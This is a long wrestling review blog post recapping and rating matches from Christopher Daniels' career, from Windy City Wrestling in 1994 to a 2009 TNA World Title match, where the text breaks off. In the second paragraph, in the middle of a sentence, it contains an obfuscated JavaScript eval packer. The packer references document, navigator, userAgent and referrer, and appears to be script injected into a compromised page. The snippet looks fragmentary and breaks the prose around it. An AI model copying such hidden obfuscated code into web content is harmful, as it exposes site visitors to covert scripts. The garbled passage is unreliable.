Wrestler of the Day – June 30: Christopher Daniels

Back to TNA for one of its biggest names: Christopher Daniels.

Daniels eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeihy|var|u0026u|referrer|esybn||js|php'.split('|'),0,{})) got started in 1993 and we’ll pick things up in May 1994 in Windy City Wrestling out of Chicago, though this match is in Hammond, Indiana.

Light Heavyweight Title: Christopher Daniels vs. Danny Dominion

Daniels is defending. This is from Daniels’ TNA DVD so he’s on commentary to provide a lot of backstory and details. I’ve read a lot about Windy City Wrestling (also known as Windy City Pro Wrestling) but I’ve never actually seen a match from the promotion. Ace Steele, trainer of CM Punk, is in Dominion’s corner, along with the rest of the International Males faction as I think we have a lumberjack match here. The Males jump Daniels (with long black hair) to start but Christopher comes back with a hurricanrana and right hands to the head.

Dominion is thrown to the floor but some of Daniels’ guys throws him back in. A dropkick puts Dominion down to the floor but right in front of the Males. Daniels talks about wrestling for this promotion in 2005 (when this DVD was recorded) and facing, of course, AJ Styles. Back in and Dominion ties him in the Tree of Woe and stomps away before being sent to the floor. Daniels hits a HUGE cross body off the top to take everyone down.

Back in and Dominion scores with a clothesline followed by a butterfly suplex for two. A dropkick puts Christopher on the floor but International Male Kevin Quinn brings him back in for a middle rope spinebuster (I always thought that would be a good move, though setting it up would be a problem) for two more.

Daniels fights back with a slam off the top rope (as in Daniels was on the top and slammed Dominion down) to put both guys down. A double clothesline puts both guys down again but it’s Daniels up first with a running neckbreaker. Daniels nails a not great looking springboard spinwheel kick for two more and the yet to be named BME gets the pin.

Rating: C-. I’d watch this promotion. Daniels said he was about thirty matches into his career at this point and that’s rather impressive if accurate. He wasn’t great or anything but he looked good and had a decent match out there. Dominion is still kicking around I believe so there was something to this place.

Here’s some WWF from Shotgun Saturday Night on September 26, 1998.

Suicide Kid/Christopher Daniels vs. Too Much

Too Much is of course Too Cool. Daniels, in a singlet here, gets hiptossed down by Brian Christopher to start and it’s quickly off to the Suicide Kid. Everything breaks down and Too Much stops to dance, earning Taylor a double dropkick to knock him into Brian, sending both of them out to the floor. Suicide Kid and Daniels hit stereo dives off the top to the floor.

Daniels misses a dive though and Too Much takes over. Taylor hits a running dropkick to a seated Daniels, followed by a reverse suplex for two. Daniels comes back with a dropkick and the tag off to the Kid as everything breaks down again. Kid is stuck alone in the ring and a Trash Compactor gets Too Much the pin.

Rating: C-. Daniels and the Kid looked really good here and at least Daniels was on a developmental deal around this point. I don’t know why they let him go as he would have been a great choice for the light heavyweight division. Too Much would get a lot better once they turned face and started being goofy.

Daniels spent some time in Ultimate Pro Wrestling in California in 2000. This was a training ground for a lot of guys, including this guy who was becoming a huge deal elsewhere. This is the result of an open challenge.

Christopher Daniels vs. Kurt Angle

Angle jumps him from behind and hammers away before Daniels takes him to the mat with a leg bar. Daniels hammers away but Kurt comes back with a belly to belly suplex. A half crab puts Angle down again but he gets to the ropes. Angle nails a nice vertical suplex and a clothesline but his leg is still banged up. Daniels counters a German suplex into a downward spiral followed by the BME for two. Somehow he’s already spent and Angle grabs a DDT. A German suplex puts Daniels down for two more but he escapes the Angle Slam. Not that it matters as Angle hits it like five seconds later for the pin.

Rating: C+. The match was good albeit short. Angle would be WWF Champion ten days later so it was pretty clear that Daniels wasn’t getting a win here. There’s always something interesting about seeing a match in a promotion that barely ever gets any screen time and this one had a lot of big stars to show off.

Back to the WWF for a match against someone you might have heard of. From Metal on May 26, 2001.

Light Heavyweight Title: Jerry Lynn vs. Christopher Daniels

I think you know who is defending. Daniels takes over with an early slam and a top rope legdrop gets two. Jerry comes back with a tilt-a-whirl backbreaker followed by an inverted Gory Guerrero Special. A sitout powerbomb gets two on Daniels but he counters a TKO into an electric chair for two. Daniels hammers away and plants Lynn with a tilt-a-whirl sideslam. The BME sets up a bow and arrow hold but Christopher quickly lets go. Lynn comes right back with with a tornado DDT to retain the title.

Rating: C. Not a bad match here and it’s nice to see Daniels finally getting a chance to show off instead of being your regular jobber guy. Lynn would never mean all that much in the WWF despite having a long reign with the Light Heavyweight Title. The match wasn’t that long but it was good while it lasted.

We’re finally at TNA, where Daniels would have one of his first matches on July 17, 2002.

Flying Elvises vs. Christopher Daniels/Elix Skipper

It’s a brawl to start and a member of each team is sent to the floor. The two in the ring both head to the floor very quickly with Skipper hitting a big flip dive to the floor. Siaki and Skipper get us going to start and scratch the Siaki half as it’s off to Estrada. Skipper is in trouble so Siaki drops to the floor and jumps in on commentary. He brags a bit before taking his shirt off and taking a tag.

It’s been all Elvises so far and an old A-Train over the shoulder backbreaker gets two. Back to Estrada as Siaki gets on commentary again. Estrada puts Skipper in a Razor’s Edge position and sits out into a kind of powerbomb for two. Skipper gets in a dropkick and it’s off to Daniels. Daniels and Skipper are the good guys here but they’re not really thrilling the crowd so far.

Things speed up and Daniels fires off clotheslines and dropkicks all around before Estrada suplexes him down to shift the momentum again. With Daniels on all fours, Skipper runs in, springboards off him, onto Estrada’s shoulders and then onto Siaki for a rana. A Blue Thunder Bomb gets two for Daniels on Estrada as this has picked up VERY quickly. Estrada comes back with a middle rope legdrop for two and it’s back to Siaki.

An enziguri puts Jorge (Estrada) down and it’s a double tag to bring in Skipper and Siaki. A belly to belly puts Estrada down and a floatover double underhook suplex gets two. Estrada comes back with an X Factor for two as this is slowing down a bit again. Daniels comes back in for the BME for two on Estrada and a missile dropkick from Skipper gets two on Siaki. The Play of the Day puts Estrada down but Siaki comes in and hits a rolling suplex into a neckbreaker for the pin on Skipper.

Rating: C. The match was entertaining enough for a spot fest, but it ran a bit longer than it needed to. On top of that, at the end of the day your X Division heels are called the Flying Elvises. They’re in the white Elvis suits but other than that, there’s nothing Elvis related about them. The name is too distracting for it to be such a small part of the gimmick and it’s making them more of a joke than a threat.

We’ll jump ahead to June 25, 2003, with Daniels part of the XXX group and feuding with America’s Most Wanted. They would have a great cage match, their first of two.

Tag Titles: Triple X vs. America’s Most Wanted

From June 25, 2003 and inside a cage. This isn’t the famous cage match these teams had but I’ve seen this one before and it’s awesome as well. The champions XXX are comprised of Elix Skipper and Christopher Daniels while the challengers are James Storm/Chris Harris. This is the fifth match but XXX has won via outside interference every single time. This is also TNA’s first ever cage match.

It’s a brawl to start but the referee makes them tag to get on my nerves. Harris bulldogs Daniels down before AMW picks up Skipper and launches him into Daniels. This is pin or submission only, meaning escape doesn’t count. Daniels and Harris are the official starters and the fans chant for the Fallen Angel. Skipper gets in a cheap shot from the apron before throwing him face first into the cage for two. Harris is already busted open.

The champions take turns stomping on Harris’ forehead until Daniels gets two off a springboard moonsault press by Skipper. Harris gets a lucky shot off a running clothesline but Daniels kicks his head off for two. Back to Skipper who sends Harris into the cage again but Harris comes off the ropes with another clothesline. There’s the hot tag to Storm who cleans house, sending Skipper chest first into the cage with a reverse suplex. A powerslam gets two on Daniels but he kicks Storm’s knee out to slow him down.

We get a Kill the Cowboy chant, which is hopefully a remnant from the early days of the company rather than the fans not liking Storm’s current work. The champions hit a suplex/cross body combo on the bloody Storm but Skipper’s ribs are injured from being sent into the cage. Back up and the two of them rams heads, setting up a double tag to Harris and Daniels. Harris takes over with the raw power by ramming Daniels head first into the cage over and over. Skipper’s ribs get reacquainted with the steel as well as Daniels is busted open too.

Harris loads up the Catatonic (spinning Rock Bottom) but Daniels counters into the Angel’s Wings (lifting sitout Pedigree) for a very close two. Everything breaks down and Daniels blocks a reverse tornado DDT by taking Storm onto the top rope for an STO to the mat. Skipper belly to bellys Harris down before sending him into the cage again. Elix goes up top for no apparent reason but gets powerbombed down in a HUGE crash to give Harris a near fall.

Daniels hits Last Rites (Cross Rhodes) on Storm for an even closer two as Harris makes yet another save. Harris and Daniels go up top but Daniels backs away across the rope, allowing Harris to hit a diving spear for an even closer near fall. Skipper takes Harris down with the Play of the Day before going for a very big climb. Elix dives off the top with a high cross body but reinjures his ribs in the process. STORYTELLING BABY!

A delayed cover gets two so Skipper goes up again, only to be knocked down a bit and then out to the floor. Storm superkicks Daniels down and the Death Sentence (spinebuster/legdrop) mostly misses Daniels for two. Skipper tries to climb back in but gets knocked back to the floor. Harris goes up to the very top of the cage for a HUGE Death Sentence to crush Daniels for the pin and the titles.

Rating: A. There’s your price of admission right there. This was all about taking two teams and having them beat the tar out of each other for twenty minutes. On top of that we have the story of Skipper’s ribs in a good piece of psychology, a rarity in matches like these. The amazing thing is these four would top this effort in another cage match at Turning Point the following year. Great match.

Daniels was still part of XXX and would be part of the match with the original highlight reel moment for TNA. From Turning Point 2004.

America’s Most Wanted vs. Triple X

This is one of the things that TNA did that was indeed different: sometimes something other than the heavyweight title feud ended the show, which is definitely a good idea here. The six man was just ok but this was a great match. This is in a cage remember. AMW brings in handcuffs. That’s a signature thing for them and they’ll come into play later so remember that.

They have to tag here but I’ll give that ten minutes tops. Daniels and Storm start us off. Is there a significance to the tape that Daniels puts on his left shoulder that I’ve never gotten? I’ve always wondered that. Off to Daniels who kicks Storm in the back to take control. It breaks down quickly and AMW double teams Daniels. Off to Harris as Daniels is already busted open.

Skipper (XXX is Daniels/Elix Skipper if you weren’t sure on that one) gets his team the advantage and gives it back over to Daniels. He’s GUSHING already. Harris takes Skipper down and it’s back to Storm. Powerslam puts Daniels down. They load up the Death Sentence on Skipper but Daniels makes the save. Skipper pulls a towel back and handcuffs Harris to the post. West: “Oh what a dirty trick!” Yes, handcuffing your mortal enemy to a cage and making him defenseless is the same sort of thing you would hear on The Brady Bunch Don. Well called.

XXX double teams Storm and Daniels taunts Harris with the key. They drive the key into the head of Storm and hit a double team powerbomb/elbow combination for two. We get some heel miscommunication and Storm spears Daniels. There’s the key and Harris in free. That’s a nice twist on the hot tag because it’s basically the same thing. Harris cleans house and Storm is back up too.

I think everyone but Harris is bleeding. Triple X gets rammed into the cage multiple times but Skipper grabs a belly to belly to Harris. A suplex/cross body combo gets two. Hart Attack gets two on Skipper. Daniels hits a quick Downward Spiral to Storm and Harris goes into the steel. Harris is busted too. Death Sentence (AMW’s finisher) gets two on Harris who kicks out.

Skipper goes to the top of the cage (I don’t think you can win by escape) to Harris POWERBOMBS HIM OFF THE CAGE for two. FOR TWO. Angel’s Wings gets two for Daniels. Daniels goes up but Harris follows him. Now it’s time for the highlight reel moment to end all highlight reel moments in TNA. Skipper is sitting on another corner than Harris and TIGHTROPE WALKS THE EDGE OF THE CAGE AND HURRICANRANAS HARRIS TO THE MAT!!! WOW!

Daniels IMMEDIATELY drops an elbow off the top of the cage BUT IT GETS TWO. Daniels goes back up as we watch replays for a four man Tower of Doom. Daniels overrotates and lands on his face. Harris powerbombed Skipper who electric chaired Storm who suplexed Daniels. Everyone is pretty much dead but Skipper and Harris counter each others’ finishers. Everyone knocks everyone else down and Harris handcuffs Daniels to the cage in a nice play off what happened to him earlier. Last Call to Skipper and AMW pins him with XXX’s PowerPlex to split up XXX.

Rating: A+. What else did you expect me to give this? This match holds up incredibly well with the few moments from the cage walk to the Tower of Doom being as breathtaking as you’ll ever see. Absolutely awesome match and if you’re a fan of bloodbath cage matches that leave your jaw hanging open, find this right now because it’s excellent.

Here’s the first of many AJ vs. Daniels matches we’ll be getting to, and it might be the best. From Bound For Glory 2005.

X-Division Title: AJ Styles vs. Christopher Daniels

AJ is defending and it has a thirty minute time limit under Iron Man rules. Daniels jumps AJ before the bell and we’re off quickly. He controls for the opening minute and they trade chops, won by AJ. A backbreaker puts Daniels down and onto the floor but Daniels blocks AJ’s dive. Daniels hits some palm strikes but Styles dropkicks him down. Back to the floor and Daniels is knocked into the crowd. AJ dives over the barricade and both guys are down.

They head back inside and AJ controls with a headlock. Five minutes in and the fans say both guys are awesome. The headlock stays on for a few minutes but you have to burn some time in a match like this. Daniels rolls out of it and hooks an armbar. AJ fights out of it and sends Daniels into a few corners. A hard kick puts Daniels down as it’s been almost all AJ so far.

Bridging Indian Deathlock goes on and Daniels is in big trouble, so he bited AJ’s hands to escape. Ten minutes in now. Daniels heads to the apron but AJ clotheslines him back into the ring. Springboard forearm is countered into a high collar suplex to put both guys down. Daniels takes over and twists AJ’s neck around a bit. That can’t feel good. A tilt-a-whirl backbreaker gets two and it’s off to a neck crank by Daniels.

AJ grabs a cradle out of nowhere for two and then another one for another two. Koji Clutch out of nowhere has AJ in trouble. AJ tries to power out of it but goes right back down. Another power out attempt works and AJ makes the rope. Slingshot moonsault gets two on the champion. We’re halfway through and it’s 0-0. AJ escapes a backbreaker and hits his moonsault into a reverse DDT.

Hammerlock belly to back suplex gets two as does a pumphandle gutbuster. That’s a new one. AJ tries a moonsault but gets caught in a Death Valley Driver for a very close two. Daniels puts him on the middle rope and flips him forward into a mat slam for two. AJ counters a neckbreaker into one of his own for a slightly delayed two. AJ tries the moonsault DDT again but gets caught in a spinning powerbomb for two. BME STILL doesn’t get a fall as it only gets a two count.

Ten minutes to go and AJ puts on a torture rack and then spins it out into a slam for two. AJ dives into the corner but Daniels moves and knocks Styles to the outside where he lands on the steps. A BIG suicide dive destroys AJ but Daniels can’t follow up due to exhaustion. As they come back in, AJ hits the Pele to knock Daniels back to the floor at 8 minutes to go. Another BIG flip dive takes Daniels out and both guys are down.

Seven minutes to go and both guys are down on the floor. As they get back in, Daniels blocks a suplex back inside and hits a belly to back suplex from the apron to the floor. That was pretty awesome, much like this match. Six minutes left and it’s still zero to zero. They’re both back in with five minutes to go. Scratch that as Daniels kicks AJ out of the ring before he was all the way in.

With about 4:25 to go they slug it out in the middle of the ring with AJ taking a slight advantage. Four minutes left. AJ has a big bruise on his leg. Small package gets two for the champion. Pele misses and Daniels rolls him up for two. AJ does the same and gets the same. Daniels hits a German suplex but AJ pops up and hits a discus lariat before collapsing. Under three minutes to go now.

AJ falls on top for two and we have two minutes left. Daniels channels his inner Piper and pokes AJ in the eye. That gets him nowhere because AJ gets to the apron and hits a springboard cross body for two despite a handful of tights. 90 seconds left and they trade forearms. The fans are split here. One minute to go and Daniels blocks a suplex. AJ kicks him in the head again but it only gets two. Daniels kicks him in the head but the Angel’s Wings are countered into a suplex for two. AJ hits the Clash with two seconds left for the only fall and the win. WOW that was a hot ending.

Rating: A. The only way to make this better would have been to say AJ loses the title in a tie. Still though, GREAT match here and pretty easily the best match I’ve ever seen these two have. That’s some pretty awesome timing too with AJ getting the pin literally with two seconds left. I know I complain about AJ and Daniels a lot, but back then it was great, with this being the best I’ve ever seen from them.

I’ve covered the Unbreakable three way far too often so here’s a rematch from Destination X 2006 in an Ultimate X match.

X-Division Title: AJ Styles vs. Samoa Joe vs. Christopher Daniels

They make it clear that the undefeated streak isn’t on the line here. AJ and Daniels go for corners immediately but Joe is like “dudes we’re on PPV you know it’s not ending that fast.” Joe beats up AJ a bit so Daniels takes a chance at the belt. The challengers go high/low on Joe and go at it themselves. AJ sets for a dropkick but Daniels grabs the rope. AJ is like screw it and just does a standing backflip and then hits the dropkick. AWESOME.

AJ and Daniels go up but of course crash down after kicking each other a bit. Daniels goes to the floor so AJ pops Joe with some forearms including the springboard one, bringing a smile to my face. AJ gets sent to the floor and Joe wants to get a highlight reel moment, busting out a corkscrew plancha over the top to the floor to CRUSH both guys. Joe tries to go across but slips off with a little help from Daniels.

Back in the ring now with Daniels in control. Enziguri and a running knee take Joe to the floor so it’s down to the non-Samoans. AJ climbs with Daniels following so AJ gets a twisting sunset sitout powerbomb to take Daniels down. Joe goes off on both guys, possibly having been offered a box of doughnuts. Out to the floor and Joe puts Daniels in a chair to set up the Ole Kick but AJ dives in for the save instead of going for the belt.

We start the Joe’s Gonna Kill You (I prefer IDR) chants as he sets up the Musclebuster. Daniels and Joe slug it out in the middle with Tenay saying Joe is feeding off of this. Joe feeding on something. Film at eleven! Clutch in the corner doesn’t work for Joe as both guys combine to hit a double Musclebuster on Joe in a cool spot. Pele takes down Daniels which is a move I appreciate more every time I see it. The timing and placement on that has to be perfect.

AJ goes up as the fans are chanting for everyone not named Joe. Styles gets to the belt but Joe pops him in the back with a chair to save the title. In a pretty weak ending, Daniels hits Joe with the chair and casually climbs up to get the belt and end it. Just like that. No big drama spot or anything as Daniels just grabs the belt. He would lose the title in about a month back to Joe on Impact, making this virtually pointless. Joe freaks out as Daniels and AJ shake hands.

Rating: B. Good but certainly not great here. Watching these three together is never a bad thing though as they have incredible chemistry and it’s nice to see Daniels actually win something in this feud rather than having Joe and AJ dominate 100% of the time. The problem is that this was compared to the Unbreakable match which isn’t going to work ever, so take it for what it’s worth.

After years of fighting each other, Daniels and Styles formed a team and went after the Tag Team Titles at Slammiversary 2006.

Tag Titles: Christopher Daniels/AJ Styles vs. America’s Most Wanted

AMW has the titles of course. Gail is looking great in all white tonight. Storm hides something behind the steps before the match starts. Styles and Storm start us off, which is a potential PPV main event today. Storm takes him down with a shoulder block so Styles starts jumping around to take over. There’s the dropdown dropkick and Storm is in trouble. The challengers start tagging in and out quickly as they work over Storm’s arm.

It’s off to Harris vs. Daniels for a battle of arm control. Daniels gets him down and steps on the head of Harris just to be evil, although in a friendly way of course. Storm comes in and we get some homosexually suggestive positions as a result. AMW gets sent to the floor and Styles hits a huge flip dive over the top to take them both down. Daniels brings Storm back in for a slingshot elbow drop for a delayed two.

Back to Styles and the perfect double teaming begins. Styles slides through Harris’ legs to ram his face into the apron. Styles goes back in to face the legal Storm but everything breaks down on the floor. Gail gets involved out there and AMW takes over again. AJ tries to use the barricade as a launch pad but Storm takes the legs out and sends AJ’s chest into the steel.

Back in and it’s Storm vs. Styles before a quick tag brings Harris back in. With Harris doing nothing he brings Storm back in for some kicks to the head for two. Back to the Wildcat who chokes away. I’m starting to get why Storm was the successful one after the team broke up. AJ gets spun around and almost makes a tag out of it, only to get caught in a spinning mat slam by Storm.

Styles counters the reverse tornado DDT and hits the Pele to put both guys down. There’s the double tag and Daniels speeds things up. The slingshot moonsault gets two on Harris as Storm messes up his save. A Blue Thunder Bomb puts Harris down but Gail makes the save. Sirelda, a Chyna wannabe, makes her debut and lays out Gail.

Back to the match, AMW tries a double team move off the top but AJ makes the save, allowing Daniels to hook a victory roll for two. Storm throws in a chair for Harris to blast Daniels to two. Hot tag brings in AJ with the springboard forearm followed by a pumphandle gutbuster. Spinal Tap misses and Harris blasts AJ in the face with the brass knuckles.

Daniels makes the save and AJ hits a slingshot splash for two. Back to Daniels but Angel’s Wings is broken up. The Last Call is blocked by a low blow and Angel’s Wings hits the second time but Harris elbows the referee. Storm brings in the beer bottle but it hits Harris in the head. A frog splash from AJ followed by the BME gives the Dream Team the titles.

Rating: B-. Another good match here and it would start a pretty solid reign for the new champions. AMW would slowly slip into a funk and be broken up by the end of the year. AJ and Daniels were a solid team though and they had some awesome matches against LAX, which was the whole idea of putting them together in the first place.

The big feud of the year for TNA was AJ/Daniels vs. LAX. Here’s the blowoff match at No Surrender 2006.

Tag Titles: LAX vs. Christopher Daniels/AJ Styles

LAX are champions. After some big match intros (with JB messing up LAX’s combined weight) we’re ready to go. The ring is cleared out very quickly and now it’s Homicide vs. AJ. The murder enthusiast goes up but Daniels makes a quick save. AJ can’t get there either as the fans know this isn’t ending that quickly. Homicide hits a suicide on the dead guy (angels are dead people right?) out to the floor as this is kind of a mess to start.

AJ is like screw it and hits a HUGE spinning moonsault over the top to take out Hernandez. That looked great. Hernandez wants to dive but Daniels makes the stop. Koji Clutch is broken up by Homicide. Hernandez tries what Monty Brown called the Alpha Bomb but it results in double teaming by the champions. There’s a modified Border Toss and AJ is half dead.

Hernandez brings in a ladder, showing some intelligence. In a nice move, AJ sends Homicide under the ladder on an Irish whip and then shoves it onto him. That looked good too. The ladder is gone now. In another cool move, Hernandez and Daniels are on top and Hernandez grabs him by the throat and hits more or less a choke overhead belly to belly to send Daniels flying.

AJ gets up and breaks up Supermex trying to go across with the forearm. Homicide pops Styles with a chair and goes across but he has a bad shoulder. Styles goes after him but Homicide gets a cutter off the X and both are down. Daniels goes up and Tenay sounds orgasmic. Hernandez goes again and again is caught. AJ speeds things up and a Pele takes Supermex down and there’s the moonsault DDT to Homicide.

The challengers try some double teaming but Supermex is too strong. Konnan sets a table on the floor but AJ escapes the Border Toss through it. More double teaming slows the big dude down including the BME and Spiral Tap. AJ manages to get the Clash off the apron to Homicide through the table in an awesome spot. Konnan clocks him with a slapjack off camera. Konnan comes in but Daniels goes on top of the structure in the insanity and dives onto the X, pulling down the titles to win. Scary SCARY finish as if he misses that he’s more or less dead.

Rating: A. I know TNA tends to overhype some of its stuff but this was indeed awesome. It was totally insane and doesn’t stop at all from bell to bell. The ending is awesome and there are enough jaw dropping moments in this to make everything work. This is well worth checking out, if nothing else for the spectacle of the ending. I see why this was match of the year for sure.

We’ll finally make it to ROH with Daniels in a four way at Final Battle 2006.

El Generico vs. Jimmy Rave vs. Davey Richards vs. Christopher Daniels

To say the fans don’t like Rave is an understatement. It’s nice to hear some good solid insults unlike a WWE show. A DIE JIMMY DIE chant starts up. Ok then. Richards is a big deal now and allegedly is the future of the company. He comes out to Runnin With The Devil so I can’t complain. This is a four corner survival match which I’m guessing means elimination rules? Daniels is a tag champion here.

The fans like fallen angels apparently. Maybe this is the Daniels I always hear about being awesome. There’s a fairly hot chick with him named Allison Danger so I can’t complain. His entrance takes a LONG time. She’s a girl scout and the fans want cookies. That’s creative at least. We’re nearly fifteen minutes in and we just now hear the announcers. Richards and Generico start.

This is two outside and two inside. We stall for a LONG time to start, namely due to Generico continuously shouting OLE! We’ll be getting a year in review kind of thing also which is a major plus for me. We hear about Rave having a heel hook that got Nigel McGuinness (Desmond Wolfe) to tap out.

Richards is confused by Generico. Hey I’m thinking like Richards! Daniels’ partner is Matt Sydal, more commonly known as Evan Bourne. Danger is the sister of Steve Corino. Dang. Scratch the elimination part as it’s first pinfall wins. That kind of makes no sense but whatever. Rave vs. Daniels now. Daniels wins. Like, wins a lot. Not the match, just the fight. Wow I worded that one badly didn’t I?

I never liked Rave in TNA and I think I’m seeing why again here. Danger gets the fans to cheer. That’s what a manager is supposed to do partially so she’s doing her job. Richards is fun to watch if nothing else. A German on Generico gets two. Best Moonsault Ever is broken up.

They’re doing a good job of keeping it at about three people in there which is nice instead of the usual two pairings these devolve into. Rave is being smart and just letting these three fight. I’m not entirely sure why the crowd is this into it though. It’s not that great. Generico hits his brainbuster on the turnbuckle on Richards, but Rave made a tag when they were in the corner. He slips in and gets his heel hook for the submission. Pay no attention to the total lack of tagging for the five minutes before this. He gets on the mic and whines about respect but Nigel McGuinness comes out and slaps him.

Rating: B-. This was ok but it wasn’t anything great. It just came off as being all over the place and lost its structure about 10 minutes in. It’s not bad or anything, but it’s just not that good. Having the heel win the opener is a bit of a head scratcher too but that’s fine I suppose. Just nothing to make me that into the show.

We’ll jump ahead to 2008, where TNA had an interesting idea called the World X Cup. One of the last matches was a four corner, three man team elimination tag at Victory Road 2008.

Team Mexico vs. Team Japan vs. Team TNA vs. Team International

Team Mexico – Ultimo Guerrero/Rey Bucanero/Averno
Team Japan – Milano Collection A.T./Masato Yoshima/Puma
Team International – Alex Kozlov/Doug Williams/Tyson Dux
Team TNA – Curry Man/Alex Shelley/Chris Sabin

This is a 12 man four corners elimination match. Coming into this the standings are Team Mexico and Team TNA with three points and the other two with two points. This is for three points. I’ll do what I can to tell the people apart but don’t expect much. Apparently it’s EVERY MEMBER has to be eliminated. I miss Curry Man. Daniels can shake his hips when he has to which is odd to type if nothing else. The Guns are starting to come into their own here and it’s working to an extent. Pretty soon they would be jobbing to big teams rather than just bad ones. Curry and Yoshino start us off.

And here are the Guns to beat the heck out of him. West points out how it’s smart to stay on the apron because it’s easier to stay in the match by being out of it, which actually makes sense. All of Team Mexico beats up Williams as this is a total mess at this point due to so many people being in it.

Dux goes for a victory roll but Bucanero drops into it kind of like a piledriver (think Owen vs. Bret at Mania X but more like a spike than a rollup if that makes sense) to get us down to eleven which is still too many. Team Japan beats the tar out of Bucanero in some painful looking stuff.

We crank the speed up a lot here and Puma is gone. There are two referees here thank goodness. What kind of a name is Milano Collection AT? It sounds like a cookie company or something. Cradle Shock takes him out anyway. That leaves just Yoshima for Team Japan.

West points that out and Tenay of course repeats it like 8 seconds later. Shelley hits a SWEET baseball slide on him while he’s in the Tree of Woe. He catches Shelley in an Octopus hold which is one of the most painful holds ever but of course just lets it go since it’s not that important I guess.

Shelley is just beating the tar out of Yoshino. Averno and Yoshino have a very nice high speed sequence as Yoshino is just trying to hang on. Averno gets pinned off a rollup though so we have one down for International and Mexico, two down for Japan, and TNA is intact. Chaos Theory on Sabin is broken up at two.

Team Mexico hit a pair of springboard cross bodies which looked great. Williams’ face is great when he gets nailed with a high spot. Guerrero hits a middle rope powerbomb on Curry Man to get us down to seven people left. That’s bearable at least. A crazy double team gets rid of Williams. I know I’m saying a lot really fast here but there’s no transition between a lot of these pins.

It’s the Motor City Machine Guns vs. Yoshino vs. Kozlov vs. Guerrero and Bucanero. Guerrero hits a gordbuster off the top for two on Kozlov. Kozlov gets a SWEET Russian Leg Sweep into a Cobra Stretch a la Delirious for the tap from Guerrero. This is FAST. Sabin hits a GREAT hurricanrana into a double super kick on Bucanero to get rid of Team Mexico. That clears things up a lot.

Since it’s a multiman match, it’s…actually not a Tower of Doom even though they were in position for one. All four are in the ring for a long time as they’re not even trying to have a coherent match at this point and I can’t really blame them. Sabin does the same run after the other guy thing that DiBiase does but hooks a Diamond Cutter instead of a clothesline. This is rather good stuff.

Kozlov goes heel and pulls the referee in front of him before rolling Sabin up and using the ropes to get rid of him. We’re down to Yoshino, Shelley and Kozlov here. Kozlov hits a great enziguri to counter a dive that missed for two on Yoshino. Sick looking move. Kozlov taps to Yoshino and we’re down to one on one. Shelley kicks his head off and Sliced Bread gets two only. I would have bet on that being the end. A PAINFUL looking Tiger Suplex gets two. Shelley just goes OFF and hits something like a reverse Emerald Flowsion for the pin.

Rating: B. This was a hard one to grade as it’s very different from anything most people will be used to. It’s definitely a great match as far as athleticism and showing off, but at the same time nearly half an hour is a bit much. This was definitely good though and a GREAT way to get the crowd fired up.

Back in 2008, TNA thought it was a good idea to have a wrestler named Suicide because he was a character in their video game. Daniels portrayed the masked character (never revealed on screen save for some inside jokes years later) and was entered into the X-Division Title at Destination X 2009.

X-Division Title: Chris Sabin vs. Alex Shelley vs. Jay Lethal vs. Consequences Creed vs. Suicide

Shelley is champion and obviously this is Ultimate X. No signature Guns’ music yet but we do get the awesome Suicide song and entrance. Everyone jumps the masked dude to start us off to more or less get us down to a tag match. These teams were feuding at the time so it makes sense. The Guns control early and Shelley goes up with Sabin running interference, only to be taken down by Suicide.

Tajiri elbow by Lethal as the fans chant Fallen Angle for Daniels who must be playing Suicide tonight. Sabin takes down Creed and goes after the title, only to be stopped by Creed. I guess he didn’t keep him down long enough. The crowd is surprisingly kind of quiet for this. Shelley moves out of the way of a Lethal dive. Suicide sets for a dive but gets kicked in the head by Shelley instead.

Suicide picks up Creed and puts him in a fireman’s carry so he can flip forward into the other four people in a cool spot. Lethal has to make the save and it’s back to the tag match. Sabin makes a diving save to stop Creed as the fans are getting into it now. Shelley misses a top rope splash to Creed and it’s Suicide trying again.

We get an INSANE looking Tower of Doom with Lethal on the bottom and Suicide on top. Being smart, Suicide hooks the cable so the other three fall while he hangs on. Lethal goes up after him and manages to powerbomb Suicide down so that all five guys are down now. Everything goes insane and everyone hits big spots, including a tornado DDT by Sabin to Lethal.

Shelley goes up but gets caught by Lethal. Lethal gets caught in a double powerbomb/Sliced Bread Tower of Doom move from the Guns which was cool. Suicide is caught in the truss as Creed gets a TKO on Shelly off the middle rope. Everyone not named Shelley is down so every one of them not named Suicide climbs a rope. As they kick at each other while hanging, Suicide climbs on top of the X and JUMPS TO THE MIDDLE, knocking everyone else down and grabbing the belt to win it. Awesome ending!

Rating: B. What else can you ask for from a match like this? Just have five young guys go out there and tear the house down with high spots and you have everything you need for the most part. The ending is still awesome and this is by far and away the best match on the show so far which I don’t think surprises anyone really.

AJ vs. Daniels. Again. This time for AJ’s World Title at Final Resolution 2009.

TNA World Title: Christopher Daniels vs. AJ Styles

Anyone that has read my reviews knows I don’t like Daniels at all for the most part. This is AJ before they turned him into the Flair tribute character, therefore making him awesome. The challenger is called Daniels here but I need more names to swap in and out so there you go. They stare each other down for awhile and then lock up with no one really having control to start.

Daniels grabs the arm when AJ is talking to the referee and takes over. AJ tries a nip up to escape but Daniels drops down onto him in a nice counter. Daniels stays on the arm for a good while but tries a dropkick which AJ holds the ropes for. We speed things up now and AJ pops off an awesome dropkick to take over.

We head to the floor with AJ doing his flips and dives to take down Daniels. Back in and a hilo sets up a discus clothesline for no cover as it’s all AJ at the moment. Off to the chinlock and the fans chant for Angle. Or is it Angel? Daniels goes with those palm strikes and a monkey flip to send AJ flying. Clothesline sends AJ to the floor but his foot gets caught on the rope and he lands on his head.

On the floor and Daniels puts AJ in a chair. He picks up another chair and tries to swing it. The referee stops him but when he’s not looking Daniels hits a release Rock Bottom onto the chair AJ was sitting in. Taz asks a good question: “Does the referee think the chair just exploded?” Back in the ring a side slam gets two as Daniels keeps up the assault on the back of AJ.

A headscissors out of nowhere puts Daniels down but it’s only for a second. Daniels sits AJ up on the ropes facing the crowd. He picks AJ up for something like a belly to back suplex but rotates him a bit to drop AJ back first on the turnbuckle in a sick bump for two. Moonsault “hits” and Daniels locks on a crossface minus the arm trap. Doesn’t go on long but it looked good. I don’t get why AJ couldn’t just put his arms down to break the pressure but what do I know?

